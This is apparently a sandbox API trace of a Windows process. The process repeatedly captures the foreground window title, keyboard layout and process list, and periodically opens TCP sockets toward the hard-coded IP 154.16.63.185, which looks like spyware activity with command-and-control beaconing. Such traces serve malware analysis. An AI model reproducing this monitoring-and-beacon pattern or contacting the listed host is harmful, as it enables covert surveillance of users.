[0194.188] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0194.188] EnumProcesses (in: lpidProcess=0x24db5f0, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24db5f0, lpcbNeeded=0x562f77c) returned 1
[0194.189] GetLastError () returned 0x0
[0194.189] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30e0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35c30e0, ResultLength=0x562f740*=0x8ee8) returned 0x0
[0194.193] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0194.193] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0194.193] GetForegroundWindow () returned 0x101a2
[0194.193] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0194.200] GetForegroundWindow () returned 0x101a2
[0194.200] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0194.262] GetForegroundWindow () returned 0x101a2
[0194.262] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0194.324] GetForegroundWindow () returned 0x100f6
[0194.324] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0194.324] EnumProcesses (in: lpidProcess=0x24ed91c, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24ed91c, lpcbNeeded=0x562f77c) returned 1
[0194.325] GetLastError () returned 0x0
[0194.325] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e3100, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35e3100, ResultLength=0x562f740*=0x8ee8) returned 0x0
[0194.330] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0194.330] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0194.387] GetForegroundWindow () returned 0x101a2
[0194.387] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0194.387] EnumProcesses (in: lpidProcess=0x24ff440, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24ff440, lpcbNeeded=0x562f77c) returned 1
[0194.387] GetLastError () returned 0x0
[0194.388] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603120, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3603120, ResultLength=0x562f740*=0x8ee8) returned 0x0
[0194.391] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0194.391] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0194.449] GetForegroundWindow () returned 0x101a2
[0194.449] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0194.512] GetForegroundWindow () returned 0x101a2
[0194.512] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0194.574] GetForegroundWindow () returned 0x101a2
[0194.574] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0194.638] GetForegroundWindow () returned 0x100f6
[0194.638] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0194.638] EnumProcesses (in: lpidProcess=0x251176c, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x251176c, lpcbNeeded=0x562f77c) returned 1
[0194.639] GetLastError () returned 0x0
[0194.639] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623140, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3623140, ResultLength=0x562f740*=0x8ee8) returned 0x0
[0194.642] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0194.642] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0194.699] GetForegroundWindow () returned 0x101a2
[0194.699] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0194.699] EnumProcesses (in: lpidProcess=0x2523290, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2523290, lpcbNeeded=0x562f77c) returned 1
[0194.699] GetLastError () returned 0x0
[0194.711] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x32f3248, ResultLength=0x562f740*=0x8ee8) returned 0x0
[0194.715] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0194.715] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0194.777] GetForegroundWindow () returned 0x101a2
[0194.777] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0194.839] GetForegroundWindow () returned 0x101a2
[0194.839] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0194.902] GetForegroundWindow () returned 0x101a2
[0194.902] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0194.964] GetForegroundWindow () returned 0x100f6
[0194.964] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0194.964] EnumProcesses (in: lpidProcess=0x238622c, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x238622c, lpcbNeeded=0x562f77c) returned 1
[0194.964] GetLastError () returned 0x0
[0194.965] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3329a00, ResultLength=0x562f740*=0x8f28) returned 0x0
[0194.969] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0194.969] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0195.026] GetForegroundWindow () returned 0x101a2
[0195.026] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0195.026] EnumProcesses (in: lpidProcess=0x2397dbc, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2397dbc, lpcbNeeded=0x562f77c) returned 1
[0195.027] GetLastError () returned 0x0
[0195.028] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3349a20, ResultLength=0x562f740*=0x8f28) returned 0x0
[0195.032] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0195.032] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0195.089] GetForegroundWindow () returned 0x101a2
[0195.089] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0195.151] GetForegroundWindow () returned 0x101a2
[0195.151] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0195.213] GetForegroundWindow () returned 0x101a2
[0195.214] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0195.276] GetForegroundWindow () returned 0x100f6
[0195.276] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0195.276] EnumProcesses (in: lpidProcess=0x23aa154, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23aa154, lpcbNeeded=0x562f77c) returned 1
[0195.277] GetLastError () returned 0x0
[0195.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x33a1eb0, ResultLength=0x562f740*=0x8f28) returned 0x0
[0195.282] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0195.282] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0195.341] GetForegroundWindow () returned 0x101a2
[0195.341] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0195.341] EnumProcesses (in: lpidProcess=0x23bbd88, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23bbd88, lpcbNeeded=0x562f77c) returned 1
[0195.342] GetLastError () returned 0x0
[0195.342] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x33c1ed0, ResultLength=0x562f740*=0x8f68) returned 0x0
[0195.345] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0195.345] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0195.407] GetForegroundWindow () returned 0x101a2
[0195.407] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0195.463] GetForegroundWindow () returned 0x101a2
[0195.463] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0195.541] GetForegroundWindow () returned 0x101a2
[0195.541] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0195.666] GetForegroundWindow () returned 0x100f6
[0195.666] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0195.666] EnumProcesses (in: lpidProcess=0x23ceaf8, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23ceaf8, lpcbNeeded=0x562f77c) returned 1
[0195.667] GetLastError () returned 0x0
[0195.667] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x33e1ef0, ResultLength=0x562f740*=0x8f68) returned 0x0
[0195.670] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0195.670] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0199.769] inet_addr (cp="154.16.63.185") returned 0xb93f109a
[0199.769] GetLastError () returned 0x0
[0199.769] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2ec
[0199.770] GetLastError () returned 0x0
[0199.770] setsockopt (s=0x2ec, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0199.770] GetLastError () returned 0x0
[0199.770] bind (s=0x2ec, addr=0x2404660*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
[0199.770] GetLastError () returned 0x0
[0199.800] GetForegroundWindow () returned 0x101a2
[0199.800] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0199.800] EnumProcesses (in: lpidProcess=0x2404740, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2404740, lpcbNeeded=0x562f77c) returned 1
[0199.800] GetLastError () returned 0x3e5
[0199.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3461f70, ResultLength=0x562f740*=0x8f68) returned 0x0
[0199.804] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0199.804] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0199.865] GetForegroundWindow () returned 0x101a2
[0199.865] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0199.926] GetForegroundWindow () returned 0x101a2
[0199.926] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0199.988] GetForegroundWindow () returned 0x101a2
[0199.988] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0200.050] GetForegroundWindow () returned 0x100f6
[0200.050] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0200.050] EnumProcesses (in: lpidProcess=0x2416b98, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2416b98, lpcbNeeded=0x562f77c) returned 1
[0200.050] GetLastError () returned 0x3e5
[0200.050] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3482f90, ResultLength=0x562f740*=0x8f28) returned 0x0
[0200.053] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0200.053] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0200.113] GetForegroundWindow () returned 0x101a2
[0200.113] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0200.113] EnumProcesses (in: lpidProcess=0x2428728, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2428728, lpcbNeeded=0x562f77c) returned 1
[0200.114] GetLastError () returned 0x3e5
[0200.115] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x34a2fb0, ResultLength=0x562f740*=0x8f28) returned 0x0
[0200.124] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0200.125] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0200.175] GetForegroundWindow () returned 0x101a2
[0200.175] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0200.238] GetForegroundWindow () returned 0x101a2
[0200.238] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0200.299] GetForegroundWindow () returned 0x101a2
[0200.299] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0200.362] GetForegroundWindow () returned 0x100f6
[0200.362] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0200.362] EnumProcesses (in: lpidProcess=0x243aac0, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x243aac0, lpcbNeeded=0x562f77c) returned 1
[0200.362] GetLastError () returned 0x3e5
[0200.362] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x34c2fd0, ResultLength=0x562f740*=0x8f28) returned 0x0
[0200.365] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0200.365] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0200.424] GetForegroundWindow () returned 0x101a2
[0200.424] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0200.424] EnumProcesses (in: lpidProcess=0x244c650, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x244c650, lpcbNeeded=0x562f77c) returned 1
[0200.424] GetLastError () returned 0x3e5
[0200.424] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x34e2ff0, ResultLength=0x562f740*=0x8f28) returned 0x0
[0200.427] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0200.427] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0200.486] GetForegroundWindow () returned 0x101a2
[0200.486] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0200.549] GetForegroundWindow () returned 0x101a2
[0200.549] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0200.611] GetForegroundWindow () returned 0x101a2
[0200.611] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0200.675] GetForegroundWindow () returned 0x100f6
[0200.675] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0200.675] EnumProcesses (in: lpidProcess=0x245e9e8, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x245e9e8, lpcbNeeded=0x562f77c) returned 1
[0200.676] GetLastError () returned 0x3e5
[0200.677] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3503010, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3503010, ResultLength=0x562f740*=0x8f28) returned 0x0
[0200.687] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0200.687] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0200.736] GetForegroundWindow () returned 0x101a2
[0200.736] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0200.736] EnumProcesses (in: lpidProcess=0x2470578, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2470578, lpcbNeeded=0x562f77c) returned 1
[0200.736] GetLastError () returned 0x3e5
[0200.736] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523030, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3523030, ResultLength=0x562f740*=0x8f28) returned 0x0
[0200.740] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0200.740] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0200.799] GetForegroundWindow () returned 0x101a2
[0200.800] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0200.862] GetForegroundWindow () returned 0x101a2
[0200.862] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0200.923] GetForegroundWindow () returned 0x101a2
[0200.923] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0201.002] GetForegroundWindow () returned 0x100f6
[0201.002] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0201.002] EnumProcesses (in: lpidProcess=0x2482910, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2482910, lpcbNeeded=0x562f77c) returned 1
[0201.003] GetLastError () returned 0x3e5
[0201.004] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3543050, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3543050, ResultLength=0x562f740*=0x8f28) returned 0x0
[0201.015] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0201.016] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0205.041] inet_addr (cp="154.16.63.185") returned 0xb93f109a
[0205.041] GetLastError () returned 0x3e5
[0205.041] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2ec
[0205.042] GetLastError () returned 0x0
[0205.042] setsockopt (s=0x2ec, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0205.042] GetLastError () returned 0x0
[0205.042] bind (s=0x2ec, addr=0x24b6e24*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
[0205.042] GetLastError () returned 0x0
[0205.057] GetForegroundWindow () returned 0x101a2
[0205.057] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0205.120] GetForegroundWindow () returned 0x101a2
[0205.120] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0205.182] GetForegroundWindow () returned 0x101a2
[0205.182] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0205.244] GetForegroundWindow () returned 0x101a2
[0205.244] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0205.307] GetForegroundWindow () returned 0x100f6
[0205.307] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0205.307] EnumProcesses (in: lpidProcess=0x24b79f8, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24b79f8, lpcbNeeded=0x562f77c) returned 1
[0205.307] GetLastError () returned 0x3e5
[0205.307] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30b0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35a30b0, ResultLength=0x562f740*=0x8da8) returned 0x0
[0205.310] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0205.310] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0205.369] GetForegroundWindow () returned 0x101a2
[0205.370] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0205.370] EnumProcesses (in: lpidProcess=0x24c9300, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24c9300, lpcbNeeded=0x562f77c) returned 1
[0205.370] GetLastError () returned 0x3e5
[0205.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30d0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35c30d0, ResultLength=0x562f740*=0x8da8) returned 0x0
[0205.376] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0205.376] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0205.433] GetForegroundWindow () returned 0x101a2
[0205.433] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0205.494] GetForegroundWindow () returned 0x101a2
[0205.494] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0205.556] GetForegroundWindow () returned 0x101a2
[0205.556] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0205.619] GetForegroundWindow () returned 0x100f6
[0205.619] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0205.619] EnumProcesses (in: lpidProcess=0x24db410, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24db410, lpcbNeeded=0x562f77c) returned 1
[0205.619] GetLastError () returned 0x3e5
[0205.620] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30f0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35e30f0, ResultLength=0x562f740*=0x8da8) returned 0x0
[0205.625] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0205.625] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0205.681] GetForegroundWindow () returned 0x101a2
[0205.681] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0205.681] EnumProcesses (in: lpidProcess=0x24ecd18, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24ecd18, lpcbNeeded=0x562f77c) returned 1
[0205.682] GetLastError () returned 0x3e5
[0205.682] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603110, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3603110, ResultLength=0x562f740*=0x8da8) returned 0x0
[0205.685] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0205.685] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0205.743] GetForegroundWindow () returned 0x101a2
[0205.743] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0205.807] GetForegroundWindow () returned 0x101a2
[0205.807] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0205.868] GetForegroundWindow () returned 0x101a2
[0205.869] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0205.931] GetForegroundWindow () returned 0x100f6
[0205.931] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0205.931] EnumProcesses (in: lpidProcess=0x24fee28, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24fee28, lpcbNeeded=0x562f77c) returned 1
[0205.931] GetLastError () returned 0x3e5
[0205.932] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623130, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3623130, ResultLength=0x562f740*=0x8d68) returned 0x0
[0205.935] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0205.935] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0205.993] GetForegroundWindow () returned 0x101a2
[0205.993] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0205.993] EnumProcesses (in: lpidProcess=0x25106c4, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x25106c4, lpcbNeeded=0x562f77c) returned 1
[0205.994] GetLastError () returned 0x3e5
[0206.002] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x32f3248, ResultLength=0x562f740*=0x8ce8) returned 0x0
[0206.005] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0206.005] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0206.056] GetForegroundWindow () returned 0x101a2
[0206.056] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0206.118] GetForegroundWindow () returned 0x101a2
[0206.118] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0206.184] GetForegroundWindow () returned 0x101a2
[0206.184] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0206.244] GetForegroundWindow () returned 0x100f6
[0206.244] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0206.244] EnumProcesses (in: lpidProcess=0x23856dc, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23856dc, lpcbNeeded=0x562f77c) returned 1
[0206.245] GetLastError () returned 0x3e5
[0206.247] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3329a00, ResultLength=0x562f740*=0x8ca8) returned 0x0
[0206.259] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0206.260] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0210.315] inet_addr (cp="154.16.63.185") returned 0xb93f109a
[0210.315] GetLastError () returned 0x3e5
[0210.315] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2ec
